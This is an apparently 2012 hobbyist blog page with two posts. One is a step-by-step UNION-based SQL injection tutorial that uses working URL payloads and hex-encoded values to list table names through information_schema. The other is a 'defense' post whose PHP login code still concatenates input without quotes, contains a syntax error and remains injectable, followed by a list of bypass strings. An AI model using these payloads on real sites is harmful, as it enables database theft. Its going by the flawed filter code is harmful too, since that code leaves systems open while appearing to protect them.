Showing posts with label Prevent SQL Injection. Show all posts
Showing posts with label Prevent SQL Injection. Show all posts

Saturday, June 23, 2012

Finding Tables

Finding Table Names

So far, we know how to get the Database Name, Number of Database and All Database Name.

Lets move further and try to get the Table Names:

So we have the URL as

http://www.example.com/index.php?id=1

From our earlier posts, we know that it has THREE columns, Database name is "ckorner", now since the web site is using this Database, we might get some juicy information here, so lets move ahead and try finding the Tables of the Database.

As there are three columns we find, so the developer has made the Query like this:

SELECT col1, col2, col3
FROM table_name
WHERE id = user_input

So we still dont have any idea, what the Table Name is:

Lets first check on MySQL server, if we can make a Query to make the Database display the Table Name

mysql> use information_schema;
Database changed
mysql> select database();
+--------------------+
| database()         |
+--------------------+
| information_schema |
+--------------------+
1 row in set (0.00 sec)

mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_CMP_RESET                      |
| INNODB_TRX                            |
| INNODB_CMPMEM_RESET                   |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
+---------------------------------------+
37 rows in set (0.00 sec)

mysql> desc information_schema.tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)

mysql> select table_name from information_schema.tables where table_schema='ckorner';
+------------+
| table_name |
+------------+
| admin      |
| products   |
| users      |
+------------+
3 rows in set (0.00 sec)

mysql>

To note Something here, the last query is little complicated, here in one query, we have used two query

In simple words, it says, SELECT the column_name(TABLE_NAME) from Database(information_schema) and Table(TABLES) where table_schema='ckorner'; Table Schema is another column, which holds the all database names. And we know that the Database Name from the Last Post. Moving on..

So, now lets see using another database, how we can get the table name.

mysql> use ckorner;
Database changed
mysql> select * from products where id = 1;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql>

Assume here you do not know what is the table_name which is producst here, and the value of id is the user's input.

mysql> select * from products where id = 1 union select 1,2,table_name from information_schema.tables where table_schema='ckorner';
+------+---------+----------+
| id   | name    | price    |
+------+---------+----------+
|    1 | Printer | 4500     |
|    1 | 2       | admin    |
|    1 | 2       | products |
|    1 | 2       | users    |
+------+---------+----------+
4 rows in set (0.00 sec)

mysql>

This example Database has only 3 columns, sometimes when there are lots of tables, the output in the webpage wont fit, in that case, you have to use the LIMIT function.

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 1,1;
+------+------+-------+
| id   | name | price |
+------+------+-------+
|    1 | 2    | admin |
+------+------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 2,1;
+------+------+----------+
| id   | name | price    |
+------+------+----------+
|    1 | 2    | products |
+------+------+----------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 3,1;
+------+------+-------+
| id   | name | price |
+------+------+-------+
|    1 | 2    | users |
+------+------+-------+
1 row in set (0.00 sec)

mysql>

So, in this way, we found that there are three tables in the 'ckorner' database, namely, admin, products and users.

So lets quickly frame it in our URL:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema='ckorner'  --+

Note here we are working with URL, so we need to hexencode our database name ie. ckorner.

You can use the online hexencoders to encode it or you can also use Our h3xc0d3r tool, to encode/decode Offline from here:

Click Here To Go To Download Page

So, the Query that would show us Tables are:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 636b6f726e6572 --+

NOTE: After converting a string to hex, and then passing to the URL, you must prepend '0x' to the hex value, otherwise it wont work.

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 --+

And Thus We Would have all the Tables Names in the 'ckorner' Database, Do not forget about the LIMIT function in case, the output crosses the page limit.

Ex:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 1,1--+

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 2,1--+

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 3,1--+

This would give the Table Names One At a Time.

Thats All For This Post. Thank You

Saturday, June 2, 2012

SQL Injection Defense

Now that I spoke about the basic of how to break an Admin Panel, now lets see basic ways to save an Admin Panel.

So the trend in the Last post was, Users enters value, the values are directly passed to the Database, and Database being a novice spits out according the query given.

User >>> PHP Script >>> Database

Now, If we do some kind of filtering of values before the PHP script builds the Query, chances gets reduced for an attack, and thus saving it from very basic SQL Injection attack.

User >>> Filter >>> PHP Script >>> Database

The Login Form Code:

<form method = "GET" action = "filter.php" >
Name: <input type = "text" name = "uname" />
Password: <input type = "password" name= "pwd" />
<br />
<input type = "submit" value = "Login" name= "login" />
</form>

Which would gives us the below section:


ADMIN LOGIN PANEL

Name:    
Password:

filter.php

<?php

//One Of the Way used to Prevent SQL Injection

if ( isset ( $_GET [ 'login' ] ))
{   
    //Connect To Database
    $conn = mysql_connect ( "localhost" , "username" , "password" ) or die ( " Could Not Connect To Database" );

    //Get the Username
    $name = $_GET [ 'uname' ];

    //Get the password
    $passwd = $_GET [ 'pwd' ];

    //Filtering Process
    $filname = mysql_real_escape_string ( $name );
    $filpass = mysql_real_escape_string ( $passwd );

    //Build the Query
    $query = " SELECT * FROM Users WHERE user = " .$filname. " AND password = " .$filpass ";

    //Make the Query
    $result = mysql_query ( $query );

    //Count the Rows Returned
    $rows = mysql_num_rows ( $result );

    if ( $rows != 0)
    {
        header ( "Location: admin.php" );
    }
    else
    {
        die ( "Invalid Username or Password" );
    }
}
?>

So, here before we make the query we are filtering the User Input Values

"mysql_real_escape_string" this is a function, that escapes quotes if found any

Now, if the users enters:

Username = Computer
Password = Korner

Nothing to Filter here, but as there is Null records found with the Values Entered, We would get:

"Invalid Username or Password"

Now lets try to change the Logic

Username = Computer
Password = Korner OR '1' = '1'

With this script the The values will not change neither the logic

SELECT id FROM Users
WHERE user = 'Computer'
AND password = 'Korner OR \'1\' = \'1\'';

Now due to "mysql_real_escape_string", the password enter with SQL Injection will become "Korner OR \'1\' = \'1\'"

Since the Single Quotes are escaped, this query will have No effect. and will return

"Invalid Username or Password"

Thus making the Basic SQL Injection Unsuccessful.

Still This can be bypassed But The K-Scripters will move on to some another website or Admin Panel.

To bypass this, we can append Queries Like:

/*OR*/ 1--
/*OR*/ True--
/*OR*/ 1=1

/* --> This Means a Comment in PHP
-- --> This forces to execute an SQL Statement

There are other ways too, If you are interested, you should be in search.

I will discuss other ways too, But If you know other ways to prevent SQL Injection feel free to comment it.

The purpose is make awareness, and To Protect From Being Hacked By K-Scripters

Thank You